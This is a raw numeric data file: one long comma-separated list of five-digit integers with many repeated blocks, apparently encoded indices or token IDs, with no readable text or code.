20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22429,20131,18720,19008,19233,20367,19008,17173,23559,36437,17330,17349,18921,17189,17208,17281,20355,18087,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,21242,19111,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,19024,18836,18609,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,19081,22444,18987,19008,19233,20367,19008,19065,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21992,22007,18987,19008,19233,20367,19008,18690,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22414,18836,18987,19008,19233,30651,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,19138,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,19280,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,19172,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21783,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,19218,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21651,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,19249,19265,19307,18888,27857,30536,24401,31444,23357,18888,19351,18888,18890,27211,19370,27211,27211,19392,24401,31911,24401,24401,25467,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19440,24401,24401,24401,24401,24036,17994,24060,18888,18888,18888,18890,19468,27211,27211,27211,27211,19484,35367,19520,24401,24401,24401,19628,18888,29855,18888,18888,23086,27211,19538,27211,27211,30756,24012,24401,19560,24401,24401,26750,18888,18888,19327,27855,27211,27211,19580,17590,24017,24401,24401,19600,25665,18888,18888,28518,27211,27212,24016,19620,19868,28435,25722,18889,19644,27211,32888,35852,19868,31018,19694,19376,19717,22215,19735,22098,19751,35203,19776,19797,19817,19840,25783,31738,24135,19701,19856,31015,23516,31008,28311,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21768,18836,19307,18888,27857,27904,24401,29183,28015,18888,18888,18888,18890,27211,27211,27211,27211,19888,24401,24401,24401,24401,22953,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19440,24401,24401,24401,24401,24036,18881,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,19628,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,24012,24401,24401,24401,24401,26750,18888,18888,18888,27855,27211,27211,27211,17590,24017,24401,24401,24401,18887,18888,18888,27211,27211,27212,24016,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22399,18836,19918,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21666,18836,19307,18888,27857,27525,24401,29183,21467,18888,18888,18888,18890,27211,27211,27211,27211,19946,24401,24401,24401,24401,32382,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,28537,19998,24401,24401,24401,24401,31500,18467,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,20021,24401,24401,24401,24401,24401,34271,18888,18888,18888,18888,23086,27211,27211,27211,27211,32926,29908,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,20050,22968,24401,24401,24401,18887,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,20101,19039,20191,20412,20903,17569,20309,20872,25633,20623,20505,20218,20242,17189,17208,17281,20355,20265,20306,20328,20383,22490,20796,20619,21354,20654,20410,20956,21232,20765,17421,20535,17192,18127,22459,20312,25531,22470,20309,20428,18964,20466,20491,21342,21070,20521,20682,17714,18326,17543,17559,17585,22497,20559,19504,20279,20575,20290,20475,20604,20639,20226,20670,17661,21190,17703,21176,17730,19494,20698,20711,22480,21046,21116,18971,21130,20727,20755,17675,17753,17832,17590,25518,20394,20781,20831,20202,20847,21401,17292,17934,17979,18549,20863,20588,25542,20888,20919,18072,18117,20935,20972,21032,21062,21086,18239,21102,18563,21146,21162,21206,18351,20949,20902,18340,21222,21258,21283,18360,20249,17405,21295,21311,21327,20739,20343,21370,21386,21417,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21977,18836,18987,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,21452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,21504,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,36501,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,28674,21946,17617,36473,18223,17237,17477,19152,17860,17892,17675,17753,17832,21575,21534,17481,19156,17864,18731,17918,36551,17292,17934,21560,30628,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21798,18836,21612,19008,19233,20367,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21636,18836,18987,19008,19233,17902,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21753,19096,21903,19008,19233,20367,19008,19291,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,17379,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,21931,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,18280,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21962,18594,18987,19008,19233,22043,19008,17173,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,21681,21858,18987,19008,19233,20367,19008,21544,30763,36437,17330,17349,18921,17189,17208,17281,20355,17949,17308,17327,17346,18918,18452,21880,18649,18665,19006,17265,22033,20765,17421,20535,17192,18127,21873,17311,18658,18999,19008,17447,32952,17497,17520,17251,36411,17782,20682,17714,18326,17543,17559,17585,21887,17504,17527,17258,36418,21915,21940,17611,36467,18217,17633,17661,21190,17703,21176,17730,34737,21946,17617,36473,18223,36531,17477,19152,17860,17892,17675,17753,17832,17590,21620,17481,19156,17864,18731,17918,36551,17292,17934,17979,18727,18681,18405,18621,18039,18056,18072,18117,18143,18706,18052,18209,18250,18239,18266,17963,18296,18312,18376,17807,36403,19232,17796,17163,30642,18392,17816,32961,17645,18805,18421,18437,18519,17393,18747,18505,18535,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,22339,18836,22059,18888,27857,34097,24401,29183,22087,18888,18888,18888,18890,27211,27211,27211,27211,22121,24401,24401,24401,24401,30613,18888,18888,18888,18888,18888,25783,27211,27211,27211,27211,35072,22164,24401,24401,24401,24401,31500,31693,18888,18888,18888,18888,18890,27211,27211,27211,27211,27211,19484,24401,24401,24401,24401,24401,32319,18888,18888,18888,18888,23086,27211,27211,27211,27211,30756,21431,24401,24401,24401,24401,26095,18888,18888,18888,27855,27211,27211,27211,22187,22968,24401,24401,24401,22231,18888,18888,27211,27211,35779,20080,24402,19868,25659,18888,18889,27211,27211,19719,23889,19868,31018,18890,27211,31833,19406,19447,23086,23330,19828,31017,27856,31741,19840,25783,31738,19837,25782,19760,31015,23516,31008,22105,19419,27963,19659,27951,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,17590,